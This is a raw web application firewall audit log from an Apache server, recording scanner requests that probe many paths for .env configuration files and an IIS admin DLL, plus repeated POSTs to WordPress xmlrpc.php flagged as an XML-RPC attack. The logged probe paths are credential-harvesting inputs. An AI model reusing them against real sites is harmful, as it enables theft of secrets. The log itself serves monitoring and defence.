proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029840016494 671028 (- - -) Stopwatch2: 1750029840016494 671028; combined=1865, p1=386, p2=1360, p3=0, p4=0, p5=118, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9628277-Z-- --a1033950-A-- [16/Jun/2025:04:54:01.701193 +0530] aE9WEZbumDYPKpRD2ekr9QAAAAA 185.177.72.210 51538 127.0.0.1 7081 --a1033950-B-- GET /scripts/iisadmin/ism.dll?http/dir HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a1033950-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08ebabb425a50863f3bbab4bb13289181750029841; expires=Mon, 16 Jun 2025 00:24:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a1033950-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/scripts/iisadmin/ism.dll"] [unique_id "aE9WEZbumDYPKpRD2ekr9QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029841008466 692796 (- - -) Stopwatch2: 1750029841008466 692796; combined=2455, p1=369, p2=1996, p3=0, p4=0, p5=90, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a1033950-Z-- --8bd4794b-A-- [16/Jun/2025:04:54:09.728716 +0530] aE9WGNsSyryJAq1gQM3wHAAAAAs 128.199.112.101 51874 127.0.0.1 7081 --8bd4794b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8bd4794b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8bd4794b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9WGNsSyryJAq1gQM3wHAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029848789995 938787 (- - -) Stopwatch2: 1750029848789995 938787; combined=2550, p1=457, p2=1578, p3=49, p4=75, p5=237, sr=124, sw=154, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8bd4794b-Z-- --7e03e44d-A-- [16/Jun/2025:04:54:23.330576 +0530] aE9WJrBfUm2FdhH5voEU4gAAAAU 185.177.72.210 55066 127.0.0.1 7081 --7e03e44d-B-- GET /templates/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7e03e44d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6ca142451f7306947b531fb770df10391750029863; expires=Mon, 16 Jun 2025 00:24:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7e03e44d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/templates/.env"] [unique_id "aE9WJrBfUm2FdhH5voEU4gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029862663381 667260 (- - -) Stopwatch2: 1750029862663381 667260; combined=1632, p1=362, p2=1171, p3=0, p4=0, p5=98, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e03e44d-Z-- --90a77042-A-- [16/Jun/2025:04:54:25.704564 +0530] aE9WKdsSyryJAq1gQM3wJQAAAAs 185.177.72.210 55176 127.0.0.1 7081 --90a77042-B-- GET /:8008/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90a77042-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c48106372c99c7d25008f2f0110de0121750029865; expires=Mon, 16 Jun 2025 00:24:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90a77042-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.debug"] [unique_id "aE9WKdsSyryJAq1gQM3wJQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029865021412 683215 (- - -) Stopwatch2: 1750029865021412 683215; combined=1820, p1=355, p2=1374, p3=0, p4=0, p5=90, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90a77042-Z-- --bc91be28-A-- [16/Jun/2025:04:54:29.885635 +0530] aE9WLfkk7JsP-DN1XGMncgAAAAo 185.177.72.210 55360 127.0.0.1 7081 --bc91be28-B-- GET /cloud/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc91be28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3518603d1dd85cf57fd0a59ad38ed15c1750029869; expires=Mon, 16 Jun 2025 00:24:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc91be28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cloud/.env"] [unique_id "aE9WLfkk7JsP-DN1XGMncgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029869187575 698124 (- - -) Stopwatch2: 1750029869187575 698124; combined=2101, p1=383, p2=1617, p3=0, p4=0, p5=101, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc91be28-Z-- --69d4a261-A-- [16/Jun/2025:04:54:35.801993 +0530] aE9WM9sSyryJAq1gQM3wKQAAAAs 185.177.72.210 38232 127.0.0.1 7081 --69d4a261-B-- GET /old/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69d4a261-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04b3def9305b65de7a794f33e85ee80d1750029875; expires=Mon, 16 Jun 2025 00:24:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69d4a261-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.backup"] [unique_id "aE9WM9sSyryJAq1gQM3wKQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.backup"] [unique_id "aE9WM9sSyryJAq1gQM3wKQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029875105430 696625 (- - -) Stopwatch2: 1750029875105430 696625; combined=1874, p1=414, p2=1320, p3=0, p4=0, p5=139, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69d4a261-Z-- --e8e0f40c-A-- [16/Jun/2025:04:55:09.062367 +0530] aE9WVPkk7JsP-DN1XGMniAAAAAo 128.199.112.101 39540 127.0.0.1 7081 --e8e0f40c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e8e0f40c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e8e0f40c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9WVPkk7JsP-DN1XGMniAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029908039316 1023113 (- - -) Stopwatch2: 1750029908039316 1023113; combined=156612, p1=384, p2=1558, p3=42, p4=63, p5=77312, sr=123, sw=101, l=0, gc=77152 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8e0f40c-Z-- --5e21dc5d-A-- [16/Jun/2025:04:55:36.787265 +0530] aE9WcOxC6fQU5wYvxvl1YAAAAAk 185.177.72.210 45548 127.0.0.1 7081 --5e21dc5d-B-- GET /example27-how-to-load-env/sample02/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e21dc5d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d09a6957e650faa0e99ce204e2bc22b1750029936; expires=Mon, 16 Jun 2025 00:25:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e21dc5d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/example27-how-to-load-env/sample02/.env"] [unique_id "aE9WcOxC6fQU5wYvxvl1YAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029936018590 768763 (- - -) Stopwatch2: 1750029936018590 768763; combined=2112, p1=398, p2=1599, p3=0, p4=0, p5=115, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e21dc5d-Z-- --a3519767-A-- [16/Jun/2025:04:55:42.905589 +0530] aE9WdpbumDYPKpRD2eksMgAAAAA 185.177.72.210 39330 127.0.0.1 7081 --a3519767-B-- GET /07-accessing-data/begin/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3519767-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fdb67b7a043d91dc0099b76dc2d221331750029942; expires=Mon, 16 Jun 2025 00:25:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3519767-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/07-accessing-data/begin/vue-heroes/.env"] [unique_id "aE9WdpbumDYPKpRD2eksMgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029942244040 661634 (- - -) Stopwatch2: 1750029942244040 661634; combined=1993, p1=399, p2=1476, p3=0, p4=0, p5=118, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3519767-Z-- --00ed1a29-A-- [16/Jun/2025:04:55:50.359280 +0530] aE9WfZbumDYPKpRD2eksNgAAAAA 185.177.72.210 58406 127.0.0.1 7081 --00ed1a29-B-- GET /config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --00ed1a29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9da723b328a55521eee0798a6aebc2bb1750029950; expires=Mon, 16 Jun 2025 00:25:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --00ed1a29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env"] [unique_id "aE9WfZbumDYPKpRD2eksNgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029949692742 666601 (- - -) Stopwatch2: 1750029949692742 666601; combined=1847, p1=380, p2=1375, p3=0, p4=0, p5=91, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00ed1a29-Z-- --cd9be158-A-- [16/Jun/2025:04:56:05.032510 +0530] aE9WjFxTdrwJSUMoZvG3IQAAAAc 185.177.72.210 39376 127.0.0.1 7081 --cd9be158-B-- GET /:10000/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd9be158-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e96459e7b74680504f145c04f415ee11750029964; expires=Mon, 16 Jun 2025 00:26:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd9be158-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/config/.env"] [unique_id "aE9WjFxTdrwJSUMoZvG3IQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029964334624 697951 (- - -) Stopwatch2: 1750029964334624 697951; combined=1761, p1=377, p2=1258, p3=0, p4=0, p5=125, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd9be158-Z-- --20467c1f-A-- [16/Jun/2025:04:56:06.036635 +0530] aE9WjX2GhYywD7zZgx4G8QAAAAM 185.177.72.210 39412 127.0.0.1 7081 --20467c1f-B-- GET /:8000/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --20467c1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e4c4e85e195c12637ba8ce469c9770b1750029965; expires=Mon, 16 Jun 2025 00:26:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --20467c1f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/frontend/.env"] [unique_id "aE9WjX2GhYywD7zZgx4G8QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029965363538 673160 (- - -) Stopwatch2: 1750029965363538 673160; combined=2027, p1=402, p2=1511, p3=0, p4=0, p5=113, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20467c1f-Z-- --84683965-A-- [16/Jun/2025:04:56:09.263083 +0530] aE9WkLBfUm2FdhH5voEVIAAAAAU 128.199.112.101 39502 127.0.0.1 7081 --84683965-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --84683965-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --84683965-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9WkLBfUm2FdhH5voEVIAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029968293406 969733 (- - -) Stopwatch2: 1750029968293406 969733; combined=2365, p1=382, p2=1604, p3=42, p4=66, p5=168, sr=101, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache 